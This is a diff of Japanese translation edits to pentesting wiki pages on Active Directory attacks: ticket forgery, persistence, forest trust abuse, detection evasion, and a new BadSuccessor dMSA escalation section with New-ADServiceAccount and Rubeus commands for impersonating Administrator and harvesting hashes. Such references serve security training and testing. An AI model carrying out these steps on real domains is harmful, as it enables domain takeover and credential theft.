**LAPS**は、ドメインに参加しているコンピュータ上の**ローカル管理者パスワード**を管理するためのシステムを提供し、それが**ランダム化され**、ユニークで、頻繁に**変更される**ことを保証します。これらのパスワードはActive Directoryに保存され、ACLを通じて認可されたユーザーのみがアクセスできるように制御されます。これらのパスワードにアクセスするための十分な権限があれば、他のコンピュータにピボットすることが可能になります。
|
||||
**LAPS**は、ドメインに参加しているコンピュータ上の**ローカル管理者パスワード**を管理するためのシステムを提供し、それが**ランダム化**され、ユニークで、頻繁に**変更**されることを保証します。これらのパスワードはActive Directoryに保存され、アクセスは認可されたユーザーのみにACLを通じて制御されます。これらのパスワードにアクセスするための十分な権限があれば、他のコンピュータへのピボットが可能になります。
|
||||
|
||||
{{#ref}}
|
||||
laps.md
|
||||
@ -357,7 +357,7 @@ ad-certificates/certificate-theft.md
|
||||
|
||||
### 証明書テンプレートの悪用
|
||||
|
||||
**脆弱なテンプレート**が構成されている場合、それを悪用して権限を昇格させることが可能です:
|
||||
**脆弱なテンプレート**が設定されている場合、それを悪用して権限を昇格させることが可能です:
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/domain-escalation.md
|
||||
@ -398,7 +398,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
|
||||
|
||||
### シルバーチケット
|
||||
|
||||
**シルバーチケット攻撃**は、特定のサービスのために**正当なチケットグラントサービス(TGS)チケット**を**NTLMハッシュ**を使用して作成します(例えば、**PCアカウントのハッシュ**)。この方法は、**サービス権限にアクセスするため**に使用されます。
|
||||
**シルバーチケット攻撃**は、特定のサービスのために**正当なチケット授与サービス(TGS)チケット**を**NTLMハッシュ**を使用して作成します(例えば、**PCアカウントのハッシュ**)。この方法は、**サービス権限にアクセスするため**に使用されます。
|
||||
|
||||
{{#ref}}
|
||||
silver-ticket.md
|
||||
@ -406,9 +406,9 @@ silver-ticket.md
|
||||
|
||||
### ゴールデンチケット
|
||||
|
||||
**ゴールデンチケット攻撃**は、攻撃者がActive Directory(AD)環境内の**krbtgtアカウントのNTLMハッシュ**にアクセスすることを含みます。このアカウントは特別で、すべての**チケットグラントチケット(TGT)**に署名するために使用され、ADネットワーク内での認証に不可欠です。
|
||||
**ゴールデンチケット攻撃**は、攻撃者がActive Directory(AD)環境内の**krbtgtアカウントのNTLMハッシュ**にアクセスすることを含みます。このアカウントは特別で、すべての**チケット授与チケット(TGT)**に署名するために使用され、ADネットワーク内での認証に不可欠です。
|
||||
|
||||
攻撃者がこのハッシュを取得すると、任意のアカウントのために**TGT**を作成することができます(シルバーチケット攻撃)。
|
||||
攻撃者がこのハッシュを取得すると、任意のアカウントの**TGT**を作成することができます(シルバーチケット攻撃)。
|
||||
|
||||
{{#ref}}
|
||||
golden-ticket.md
|
||||
@ -416,7 +416,7 @@ golden-ticket.md
|
||||
|
||||
### ダイヤモンドチケット
|
||||
|
||||
これらは、**一般的なゴールデンチケットの検出メカニズムを回避する方法で偽造されたゴールデンチケットのようなものです。**
|
||||
これらは、**一般的なゴールデンチケットの検出メカニズムを回避する**方法で偽造されたゴールデンチケットのようなものです。
|
||||
|
||||
{{#ref}}
|
||||
diamond-ticket.md
|
||||
@ -440,13 +440,13 @@ ad-certificates/domain-persistence.md
|
||||
|
||||
### AdminSDHolderグループ
|
||||
|
||||
Active Directoryの**AdminSDHolder**オブジェクトは、**特権グループ**(ドメイン管理者やエンタープライズ管理者など)のセキュリティを確保するために、これらのグループ全体に標準の**アクセス制御リスト(ACL)**を適用して、無許可の変更を防ぎます。しかし、この機能は悪用される可能性があります。攻撃者がAdminSDHolderのACLを変更して通常のユーザーに完全なアクセスを与えると、そのユーザーはすべての特権グループに対して広範な制御を得ることになります。このセキュリティ対策は保護を目的としていますが、厳重に監視されない限り、望ましくないアクセスを許可する可能性があります。
|
||||
Active Directory内の**AdminSDHolder**オブジェクトは、**特権グループ**(ドメイン管理者やエンタープライズ管理者など)のセキュリティを確保するために、これらのグループ全体に標準の**アクセス制御リスト(ACL)**を適用して、無許可の変更を防ぎます。しかし、この機能は悪用される可能性があります。攻撃者がAdminSDHolderのACLを変更して通常のユーザーに完全なアクセスを与えると、そのユーザーはすべての特権グループに対して広範な制御を得ることになります。このセキュリティ対策は保護を目的としていますが、厳重に監視されない限り、無許可のアクセスを許すことになります。
|
||||
|
||||
[**AdminDSHolderグループに関する詳細情報はここにあります。**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
|
||||
### DSRM資格情報
|
||||
|
||||
すべての**ドメインコントローラー(DC)**内には、**ローカル管理者**アカウントが存在します。このようなマシンで管理者権限を取得することで、**mimikatz**を使用してローカル管理者のハッシュを抽出できます。その後、このパスワードを**使用できるようにするためのレジストリ変更**が必要で、ローカル管理者アカウントへのリモートアクセスを可能にします。
|
||||
すべての**ドメインコントローラー(DC)**内には、**ローカル管理者**アカウントが存在します。このようなマシンで管理者権限を取得することで、**mimikatz**を使用してローカル管理者のハッシュを抽出できます。その後、このパスワードを**使用可能にするためのレジストリ変更**が必要で、ローカル管理者アカウントへのリモートアクセスを可能にします。
|
||||
|
||||
{{#ref}}
|
||||
dsrm-credentials.md
|
||||
@ -454,7 +454,7 @@ dsrm-credentials.md
|
||||
|
||||
### ACL持続性
|
||||
|
||||
特定のドメインオブジェクトに対して**ユーザー**に**特別な権限**を与えることで、将来的にそのユーザーが**権限を昇格させる**ことができるようになります。
|
||||
特定のドメインオブジェクトに対して**特別な権限**を**ユーザー**に与えることで、そのユーザーが将来的に**権限を昇格**させることができるようになります。
|
||||
|
||||
{{#ref}}
|
||||
acl-persistence-abuse/
|
||||
@ -462,7 +462,7 @@ acl-persistence-abuse/
|
||||
|
||||
### セキュリティ記述子
|
||||
|
||||
**セキュリティ記述子**は、**オブジェクト**が**オブジェクト**に対して持つ**権限**を**保存**するために使用されます。オブジェクトの**セキュリティ記述子**に**少し変更**を加えることができれば、そのオブジェクトに対して特権グループのメンバーである必要なく非常に興味深い権限を取得できます。
|
||||
**セキュリティ記述子**は、**オブジェクト**が**オブジェクト**に対して持つ**権限**を**保存**するために使用されます。オブジェクトの**セキュリティ記述子**に**少し変更**を加えることができれば、そのオブジェクトに対して特権グループのメンバーである必要なく、非常に興味深い権限を取得できます。
|
||||
|
||||
{{#ref}}
|
||||
security-descriptors.md
|
||||
@ -478,7 +478,7 @@ skeleton-key.md
|
||||
|
||||
### カスタムSSP
|
||||
|
||||
[SSP(セキュリティサポートプロバイダー)とは何かをここで学びます。](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
|
||||
[SSP(セキュリティサポートプロバイダー)についてはこちらで学んでください。](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
|
||||
自分の**SSP**を作成して、マシンにアクセスするために使用される**資格情報**を**平文**で**キャプチャ**することができます。
|
||||
|
||||
{{#ref}}
|
||||
@ -487,7 +487,7 @@ custom-ssp.md
|
||||
|
||||
### DCShadow
|
||||
|
||||
ADに**新しいドメインコントローラー**を登録し、指定されたオブジェクトに**属性**(SIDHistory、SPNsなど)を**プッシュ**しますが、**変更**に関する**ログ**を残さずに行います。**DA**権限が必要で、**ルートドメイン**内にいる必要があります。\
|
||||
ADに**新しいドメインコントローラー**を登録し、指定されたオブジェクトに**属性**(SIDHistory、SPNsなど)を**プッシュ**するために使用しますが、**変更**に関する**ログ**を残さずに行います。**DA**権限が必要で、**ルートドメイン**内にいる必要があります。\
|
||||
間違ったデータを使用すると、非常に醜いログが表示されることに注意してください。
|
||||
|
||||
{{#ref}}
|
||||
@ -505,7 +505,7 @@ laps.md
|
||||
|
||||
## フォレスト権限昇格 - ドメイン信頼
|
||||
|
||||
Microsoftは**フォレスト**をセキュリティ境界と見なしています。これは、**単一のドメインを侵害することが、フォレスト全体が侵害される可能性があることを意味します**。
|
||||
Microsoftは**フォレスト**をセキュリティ境界と見なしています。これは、**単一のドメインを侵害することが、フォレスト全体の侵害につながる可能性がある**ことを意味します。
|
||||
|
||||
### 基本情報
|
||||
|
||||
@ -515,12 +515,12 @@ Microsoftは**フォレスト**をセキュリティ境界と見なしていま
|
||||
|
||||
**手順**:
|
||||
|
||||
1. **ドメイン1**の**クライアントコンピュータ**が、**ドメインコントローラー(DC1)**から**チケットグラントチケット(TGT)**を要求するプロセスを開始します。
|
||||
1. **ドメイン1**の**クライアントコンピュータ**が、**ドメインコントローラー(DC1)**から**チケット授与チケット(TGT)**を要求するプロセスを開始します。
|
||||
2. クライアントが正常に認証されると、DC1は新しいTGTを発行します。
|
||||
3. クライアントは次に、**ドメイン2**のリソースにアクセスするためにDC1から**インターレルムTGT**を要求します。
|
||||
3. クライアントは次に、**ドメイン2**のリソースにアクセスするために必要な**インターレルムTGT**をDC1に要求します。
|
||||
4. インターレルムTGTは、DC1とDC2の間で共有された**信頼キー**で暗号化されています。
|
||||
5. クライアントはインターレルムTGTを**ドメイン2のドメインコントローラー(DC2)**に持っていきます。
|
||||
6. DC2は、共有信頼キーを使用してインターレルムTGTを検証し、有効であれば、クライアントがアクセスしたいドメイン2のサーバーのために**チケットグラントサービス(TGS)**を発行します。
|
||||
6. DC2は、共有信頼キーを使用してインターレルムTGTを検証し、有効であれば、クライアントがアクセスしたいドメイン2のサーバーのために**チケット授与サービス(TGS)**を発行します。
|
||||
7. 最後に、クライアントはこのTGSをサーバーに提示し、サーバーのアカウントハッシュで暗号化されているため、ドメイン2のサービスにアクセスします。
|
||||
|
||||
### 異なる信頼
|
||||
@ -532,15 +532,15 @@ Microsoftは**フォレスト**をセキュリティ境界と見なしていま
|
||||
**異なる信頼関係**
|
||||
|
||||
- **親子信頼**:これは同じフォレスト内で一般的な設定であり、子ドメインは自動的に親ドメインとの双方向の推移的信頼を持ちます。基本的に、これは認証要求が親と子の間でシームレスに流れることを意味します。
|
||||
- **クロスリンク信頼**:これは「ショートカット信頼」と呼ばれ、子ドメイン間で設立され、紹介プロセスを迅速化します。複雑なフォレストでは、認証紹介は通常、フォレストのルートまで上昇し、ターゲットドメインまで下降する必要があります。クロスリンクを作成することで、旅が短縮され、特に地理的に分散した環境で有益です。
|
||||
- **外部信頼**:これは異なる、無関係なドメイン間で設定され、性質上非推移的です。[Microsoftのドキュメント](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)によると、外部信頼は、現在のフォレスト外のドメインのリソースにアクセスするために便利であり、フォレスト信頼によって接続されていないドメインです。外部信頼ではSIDフィルタリングを通じてセキュリティが強化されます。
|
||||
- **ツリー根信頼**:これらの信頼は、フォレストのルートドメインと新しく追加されたツリーの根の間で自動的に確立されます。一般的には遭遇しませんが、ツリー根信頼は新しいドメインツリーをフォレストに追加するために重要であり、ユニークなドメイン名を維持し、双方向の推移性を確保します。詳細情報は[Microsoftのガイド](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)で確認できます。
|
||||
- **クロスリンク信頼**:これは「ショートカット信頼」と呼ばれ、子ドメイン間で設立され、参照プロセスを迅速化します。複雑なフォレストでは、認証参照は通常、フォレストのルートまで上昇し、ターゲットドメインまで下降する必要があります。クロスリンクを作成することで、旅が短縮され、特に地理的に分散した環境で有益です。
|
||||
- **外部信頼**:これは異なる、無関係なドメイン間で設定され、性質上非推移的です。[Microsoftのドキュメント](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)によると、外部信頼は、現在のフォレスト外のドメインのリソースにアクセスするために便利であり、フォレスト信頼で接続されていないドメインに対して有効です。外部信頼ではSIDフィルタリングを通じてセキュリティが強化されます。
|
||||
- **ツリー根信頼**:これらの信頼は、フォレストのルートドメインと新しく追加されたツリーのルート間で自動的に確立されます。一般的には遭遇しませんが、ツリー根信頼は新しいドメインツリーをフォレストに追加するために重要であり、ユニークなドメイン名を維持し、双方向の推移性を確保します。詳細情報は[Microsoftのガイド](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)で確認できます。
|
||||
- **フォレスト信頼**:このタイプの信頼は、2つのフォレストルートドメイン間の双方向推移的信頼であり、セキュリティ対策を強化するためにSIDフィルタリングを施します。
|
||||
- **MIT信頼**:これらの信頼は、非Windowsの[RF4120準拠](https://tools.ietf.org/html/rfc4120)のKerberosドメインとの間で確立されます。MIT信頼は、Windowsエコシステムの外部でKerberosベースのシステムとの統合を必要とする環境に特化しています。
|
||||
- **MIT信頼**:これらの信頼は、非Windowsの[RF4120準拠](https://tools.ietf.org/html/rfc4120)のKerberosドメインとの間で確立されます。MIT信頼は、Windowsエコシステム外のKerberosベースのシステムとの統合を必要とする環境に特化しています。
|
||||
|
||||
#### **信頼関係の他の違い**
|
||||
|
||||
- 信頼関係は**推移的**(AがBを信頼し、BがCを信頼する場合、AはCを信頼する)または**非推移的**であることがあります。
|
||||
- 信頼関係は**推移的**(AがBを信頼し、BがCを信頼すれば、AがCを信頼する)または**非推移的**であることができます。
|
||||
- 信頼関係は**双方向信頼**(両方が互いに信頼する)または**一方向信頼**(一方だけが他方を信頼する)として設定できます。
|
||||
|
||||
### 攻撃パス
|
||||
@ -548,7 +548,7 @@ Microsoftは**フォレスト**をセキュリティ境界と見なしていま
|
||||
1. **信頼関係を列挙**する
|
||||
2. どの**セキュリティプリンシパル**(ユーザー/グループ/コンピュータ)が**他のドメインのリソースにアクセス**できるかを確認します。ACEエントリや他のドメインのグループにいることによって、**ドメイン間の関係**を探します(このために信頼が作成された可能性があります)。
|
||||
1. この場合、kerberoastが別のオプションになる可能性があります。
|
||||
3. **アカウントを侵害**し、ドメインを**ピボット**することができます。
|
||||
3. **アカウントを侵害**し、ドメインを**ピボット**します。
|
||||
|
||||
攻撃者は、他のドメインのリソースにアクセスするために、主に3つのメカニズムを使用できます:
|
||||
|
||||
@ -594,7 +594,7 @@ nltest /dclist:sub.domain.local
|
||||
nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
|
||||
```
|
||||
> [!WARNING]
|
||||
> **2つの信頼されたキー**があります。1つは_Child --> Parent_用、もう1つは_Parent_ --> _Child_用です。\
|
||||
> **2つの信頼されたキー**があります。1つは _Child --> Parent_ 用、もう1つは _Parent_ --> _Child_ 用です。\
|
||||
> 現在のドメインで使用されているものを確認するには、次のコマンドを実行します:
|
||||
>
|
||||
> ```bash
|
||||
@ -612,13 +612,13 @@ sid-history-injection.md
|
||||
|
||||
#### 書き込み可能なConfiguration NCの悪用
|
||||
|
||||
Configuration Naming Context (NC)がどのように悪用されるかを理解することは重要です。Configuration NCは、Active Directory (AD)環境内のフォレスト全体の構成データの中央リポジトリとして機能します。このデータは、フォレスト内のすべてのドメインコントローラー (DC) に複製され、書き込み可能なDCはConfiguration NCの書き込み可能なコピーを保持します。これを悪用するには、**DC上でSYSTEM権限を持つ必要があります**。できれば子DCが望ましいです。
|
||||
Configuration Naming Context (NC) がどのように悪用されるかを理解することは重要です。Configuration NCは、Active Directory (AD) 環境内のフォレスト全体の構成データの中央リポジトリとして機能します。このデータはフォレスト内のすべてのドメインコントローラー (DC) に複製され、書き込み可能なDCはConfiguration NCの書き込み可能なコピーを保持します。これを悪用するには、**DC上でSYSTEM権限を持つ必要があります**。できれば子DCが望ましいです。
|
||||
|
||||
**GPOをルートDCサイトにリンクする**
|
||||
|
||||
Configuration NCのSitesコンテナには、ADフォレスト内のすべてのドメイン参加コンピュータのサイトに関する情報が含まれています。任意のDCでSYSTEM権限を持って操作することで、攻撃者はGPOをルートDCサイトにリンクできます。このアクションは、これらのサイトに適用されるポリシーを操作することによって、ルートドメインを危険にさらす可能性があります。
|
||||
|
||||
詳細情報については、[SIDフィルタリングのバイパス](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research)に関する研究を探ることができます。
|
||||
詳細情報については、[SIDフィルタリングのバイパス](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research)に関する研究を参照してください。
|
||||
|
||||
**フォレスト内の任意のgMSAを妥協する**
|
||||
|
||||
@ -630,11 +630,11 @@ Configuration NCのSitesコンテナには、ADフォレスト内のすべての
|
||||
|
||||
この方法は、新しい特権ADオブジェクトの作成を待つ忍耐が必要です。SYSTEM権限を持つ攻撃者は、ADスキーマを変更して、任意のユーザーにすべてのクラスに対する完全な制御を付与できます。これにより、新しく作成されたADオブジェクトへの不正アクセスと制御が可能になる可能性があります。
|
||||
|
||||
さらなる読み物は、[スキーマ変更信頼攻撃](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent)で利用できます。
|
||||
さらなる情報は、[スキーマ変更信頼攻撃](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent)で入手できます。
|
||||
|
||||
**ADCS ESC5を使用してDAからEAへ**
|
||||
|
||||
ADCS ESC5の脆弱性は、フォレスト内の任意のユーザーとして認証を可能にする証明書テンプレートを作成するために、公開鍵インフラストラクチャ (PKI) オブジェクトの制御をターゲットにしています。PKIオブジェクトはConfiguration NCに存在するため、書き込み可能な子DCを妥協することでESC5攻撃を実行できます。
|
||||
ADCS ESC5の脆弱性は、フォレスト内の任意のユーザーとして認証を可能にする証明書テンプレートを作成するために、公開鍵基盤 (PKI) オブジェクトの制御をターゲットにしています。PKIオブジェクトはConfiguration NCに存在するため、書き込み可能な子DCを妥協することでESC5攻撃を実行できます。
|
||||
|
||||
この件に関する詳細は、[DAからEAへのESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)で読むことができます。ADCSがないシナリオでは、攻撃者は必要なコンポーネントを設定する能力を持っており、[子ドメイン管理者からエンタープライズ管理者への昇格](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/)で議論されています。
|
||||
|
||||
@ -649,7 +649,7 @@ TrustDirection : Inbound --> Inboud trust
|
||||
WhenCreated : 2/19/2021 10:50:56 PM
|
||||
WhenChanged : 2/19/2021 10:50:56 PM
|
||||
```
|
||||
このシナリオでは、**あなたのドメインが外部のドメインによって信頼されています**。これにより、**不明な権限**が与えられます。あなたは、**あなたのドメインのどのプリンシパルが外部ドメインに対してどのようなアクセス権を持っているか**を見つけ出し、それを悪用しようとする必要があります:
|
||||
このシナリオでは、**あなたのドメインが外部のドメインによって信頼されています**。これにより、**不明な権限**が与えられます。あなたは、**あなたのドメインのどのプリンシパルが外部ドメインに対してどのようなアクセス権を持っているか**を見つけ出し、それを悪用しようとする必要があります。
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-oneway-inbound.md
|
||||
@ -669,16 +669,16 @@ WhenChanged : 2/19/2021 10:15:24 PM
|
||||
```
|
||||
このシナリオでは、**あなたのドメイン**が**異なるドメイン**のプリンシパルに**特権**を**信頼**しています。
|
||||
|
||||
しかし、**ドメインが信頼される**と、信頼されたドメインは**予測可能な名前**の**ユーザーを作成**し、**信頼されたパスワード**を**パスワード**として使用します。これは、**信頼するドメインのユーザーにアクセスして信頼されたドメインに入る**ことが可能であり、それを列挙してさらに特権を昇格させることができることを意味します:
|
||||
しかし、**ドメインが信頼される**と、信頼されたドメインは**予測可能な名前**の**ユーザーを作成**し、**信頼されたパスワード**を**パスワード**として使用します。これは、**信頼するドメインのユーザーにアクセスして信頼されたドメインに入る**ことが可能であり、それを列挙し、さらに特権を昇格させることを試みることを意味します:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-one-way-outbound.md
|
||||
{{#endref}}
|
||||
|
||||
信頼されたドメインを侵害する別の方法は、ドメイン信頼の**逆方向**に作成された[**SQL信頼リンク**](abusing-ad-mssql.md#mssql-trusted-links)を見つけることです(これはあまり一般的ではありません)。
|
||||
信頼されたドメインを侵害する別の方法は、ドメイン信頼の**反対方向**に作成された[**SQL信頼リンク**](abusing-ad-mssql.md#mssql-trusted-links)を見つけることです(これはあまり一般的ではありません)。
|
||||
|
||||
信頼されたドメインを侵害する別の方法は、**信頼されたドメインのユーザーがアクセスできる**マシンで待機し、**RDP**を介してログインすることです。次に、攻撃者はRDPセッションプロセスにコードを注入し、そこから**被害者の元のドメインにアクセス**できます。\
|
||||
さらに、**被害者がハードドライブをマウントした場合**、攻撃者は**RDPセッション**プロセスから**ハードドライブのスタートアップフォルダー**に**バックドア**を保存できます。この技術は**RDPInception**と呼ばれます。
|
||||
信頼されたドメインを侵害する別の方法は、**信頼されたドメインのユーザーがアクセスできる**マシンで待機し、**RDP**を介してログインすることです。次に、攻撃者はRDPセッションプロセスにコードを注入し、そこから**被害者の元のドメインにアクセス**することができます。\
|
||||
さらに、**被害者がハードドライブをマウントしている場合**、攻撃者は**RDPセッション**プロセスから**ハードドライブのスタートアップフォルダー**に**バックドア**を保存することができます。この技術は**RDPInception**と呼ばれています。
|
||||
|
||||
{{#ref}}
|
||||
rdp-sessions-abuse.md
|
||||
@ -689,7 +689,7 @@ rdp-sessions-abuse.md
|
||||
### **SIDフィルタリング:**
|
||||
|
||||
- SID履歴属性を利用した攻撃のリスクは、すべてのインターフォレスト信頼でデフォルトで有効になっているSIDフィルタリングによって軽減されます。これは、マイクロソフトの見解に従い、フォレストをセキュリティ境界と見なすことから、イントラフォレスト信頼が安全であるという前提に基づいています。
|
||||
- しかし、注意点があります:SIDフィルタリングはアプリケーションやユーザーアクセスに影響を与える可能性があり、そのため時折無効にされることがあります。
|
||||
- しかし、注意が必要です:SIDフィルタリングはアプリケーションやユーザーアクセスに影響を与える可能性があり、そのため時折無効にされることがあります。
|
||||
|
||||
### **選択的認証:**
|
||||
|
||||
@ -710,26 +710,26 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
|
||||
|
||||
### **資格情報保護のための防御策**
|
||||
|
||||
- **ドメイン管理者の制限**:ドメイン管理者はドメインコントローラーにのみログインできるようにし、他のホストでの使用を避けることが推奨されます。
|
||||
- **ドメイン管理者の制限**:ドメイン管理者はドメインコントローラーにのみログインを許可し、他のホストでの使用を避けることが推奨されます。
|
||||
- **サービスアカウントの特権**:サービスはドメイン管理者(DA)特権で実行されるべきではなく、セキュリティを維持する必要があります。
|
||||
- **一時的特権制限**:DA特権を必要とするタスクの期間は制限するべきです。これは次のように実現できます:`Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
|
||||
### **欺瞞技術の実装**
|
||||
|
||||
- 欺瞞を実装するには、パスワードが期限切れにならないか、委任のために信頼されているとマークされたダミーユーザーやコンピュータのような罠を設定します。具体的なアプローチには、特定の権利を持つユーザーを作成したり、高特権グループに追加したりすることが含まれます。
|
||||
- 実用的な例として、次のようなツールを使用します:`Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
|
||||
- 欺瞞技術の展開に関する詳細は、[Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception)で確認できます。
|
||||
- 欺瞞を実装することは、パスワードが期限切れにならないか、委任のために信頼されているとマークされたデコイユーザーやコンピュータを設定することを含みます。詳細なアプローチには、特定の権利を持つユーザーを作成したり、高特権グループに追加したりすることが含まれます。
|
||||
- 実用的な例として、次のようなツールを使用することが含まれます:`Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
|
||||
- 欺瞞技術の展開に関する詳細は、[Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception)で見つけることができます。
|
||||
|
||||
### **欺瞞の特定**
|
||||
|
||||
- **ユーザーオブジェクトの場合**:疑わしい指標には、異常なObjectSID、稀なログオン、作成日、低い不正パスワードカウントが含まれます。
|
||||
- **一般的な指標**:潜在的なダミーオブジェクトの属性を本物のものと比較することで、不一致を明らかにできます。[HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)のようなツールは、こうした欺瞞を特定するのに役立ちます。
|
||||
- **一般的な指標**:潜在的なデコイオブジェクトの属性を本物のものと比較することで、不一致を明らかにすることができます。ツールのような[HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)は、そのような欺瞞を特定するのに役立ちます。
|
||||
|
||||
### **検出システムの回避**
|
||||
|
||||
- **Microsoft ATA検出回避**:
|
||||
- **ユーザー列挙**:ドメインコントローラーでのセッション列挙を避け、ATA検出を防ぎます。
|
||||
- **チケットの偽装**:チケット作成に**aes**キーを使用することで、NTLMにダウングレードせずに検出を回避します。
|
||||
- **チケットの偽装**:チケット作成に**aes**キーを利用することで、NTLMにダウングレードせずに検出を回避します。
|
||||
- **DCSync攻撃**:ATA検出を避けるために、非ドメインコントローラーから実行することが推奨されます。ドメインコントローラーから直接実行するとアラートがトリガーされます。
|
||||
|
||||
## 参考文献
|
||||
|
@ -0,0 +1,67 @@
|
||||
# Active Directory ACLs/ACEsの悪用
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 概要
|
||||
|
||||
委任された管理サービスアカウント(**dMSAs**)は、**Windows Server 2025**で導入された新しいADプリンシパルタイプです。これは、古いサービスアカウントを置き換えるために設計されており、古いアカウントのサービスプリンシパル名(SPN)、グループメンバーシップ、委任設定、さらには暗号鍵を新しいdMSAに自動的にコピーする「移行」をワンクリックで実行できるようにします。これにより、アプリケーションはシームレスに切り替えができ、Kerberoastingのリスクが排除されます。
|
||||
|
||||
Akamaiの研究者は、単一の属性—**`msDS‑ManagedAccountPrecededByLink`**—がdMSAが「継承する」古いアカウントをKDCに伝えることを発見しました。攻撃者がその属性を書き込むことができ(そして**`msDS‑DelegatedMSAState` → 2**を切り替えることができれば)、KDCは喜んで選択した被害者のすべてのSIDを継承するPACを構築し、dMSAがドメイン管理者を含む任意のユーザーをなりすますことを可能にします。
|
||||
|
||||
## dMSAとは正確には何ですか?
|
||||
|
||||
* **gMSA**技術の上に構築されているが、新しいADクラス**`msDS‑DelegatedManagedServiceAccount`**として保存されます。
|
||||
* **オプトイン移行**をサポート:`Start‑ADServiceAccountMigration`を呼び出すことで、dMSAが古いアカウントにリンクされ、古いアカウントに`msDS‑GroupMSAMembership`への書き込みアクセスが付与され、`msDS‑DelegatedMSAState`が1に切り替わります。
|
||||
* `Complete‑ADServiceAccountMigration`の後、前のアカウントは無効になり、dMSAは完全に機能するようになります。以前に古いアカウントを使用していたホストは、自動的にdMSAのパスワードを取得する権限を持ちます。
|
||||
* 認証中、KDCは**KERB‑SUPERSEDED‑BY‑USER**ヒントを埋め込み、Windows 11/24H2クライアントはdMSAで透過的に再試行します。
|
||||
|
||||
## 攻撃の要件
|
||||
1. **少なくとも1つのWindows Server 2025 DC**が必要で、dMSA LDAPクラスとKDCロジックが存在します。
|
||||
2. **OUに対するオブジェクト作成または属性書き込み権限**(任意のOU) – 例:`Create msDS‑DelegatedManagedServiceAccount`または単に**Create All Child Objects**。Akamaiは、91%の実際のテナントが非管理者に対してこのような「無害な」OU権限を付与していることを発見しました。
|
||||
3. Kerberosチケットを要求するために、ドメインに参加している任意のホストからツール(PowerShell/Rubeus)を実行する能力。
|
||||
*被害者ユーザーに対する制御は必要ありません; 攻撃はターゲットアカウントに直接触れることはありません。*
|
||||
|
||||
## ステップバイステップ:BadSuccessor*特権昇格
|
||||
|
||||
1. **制御するdMSAを見つけるか作成する**
|
||||
```bash
|
||||
New‑ADServiceAccount Attacker_dMSA `
|
||||
‑DNSHostName ad.lab `
|
||||
‑Path "OU=temp,DC=lab,DC=local"
|
||||
```
|
||||
|
||||
あなたが書き込むことができるOU内にオブジェクトを作成したため、あなたは自動的にそのすべての属性を所有します。
|
||||
|
||||
2. **2つのLDAP書き込みで「完了した移行」をシミュレート**:
|
||||
- `msDS‑ManagedAccountPrecededByLink = DN`を任意の被害者(例:`CN=Administrator,CN=Users,DC=lab,DC=local`)に設定します。
|
||||
- `msDS‑DelegatedMSAState = 2`(移行完了)を設定します。
|
||||
|
||||
**Set‑ADComputer、ldapmodify**、または**ADSI Edit**のようなツールが機能します; ドメイン管理者権限は必要ありません。
|
||||
|
||||
3. **dMSAのTGTを要求** — Rubeusは`/dmsa`フラグをサポートしています:
|
||||
|
||||
```bash
|
||||
Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/aka.test /dmsa /opsec /nowrap /ptt /ticket:<Machine TGT>
|
||||
```
|
||||
|
||||
返されたPACには、SID 500(Administrator)およびDomain Admins/Enterprise Adminsグループが含まれています。
|
||||
|
||||
## すべてのユーザーのパスワードを収集
|
||||
|
||||
正当な移行中、KDCは新しいdMSAが**切り替え前に古いアカウントに発行されたチケットを復号化**できるようにしなければなりません。ライブセッションを壊さないように、現在のキーと以前のキーの両方を**`KERB‑DMSA‑KEY‑PACKAGE`**という新しいASN.1ブロブに配置します。
|
||||
|
||||
私たちの偽の移行はdMSAが被害者を継承すると主張するため、KDCは被害者のRC4-HMACキーを**以前のキー**リストに忠実にコピーします—たとえdMSAが「以前の」パスワードを持っていなかったとしても。そのRC4キーはソルトなしであるため、実質的に被害者のNTハッシュとなり、攻撃者に**オフラインクラッキングまたは「パス・ザ・ハッシュ」**の能力を与えます。
|
||||
|
||||
したがって、数千のユーザーを一括リンクすることで、攻撃者は「スケールで」ハッシュをダンプすることができ、**BadSuccessorは特権昇格と資格情報侵害の原始的な手段の両方に変わります**。
|
||||
|
||||
## ツール
|
||||
|
||||
- [https://github.com/akamai/BadSuccessor](https://github.com/akamai/BadSuccessor)
|
||||
- [https://github.com/logangoins/SharpSuccessor](https://github.com/logangoins/SharpSuccessor)
|
||||
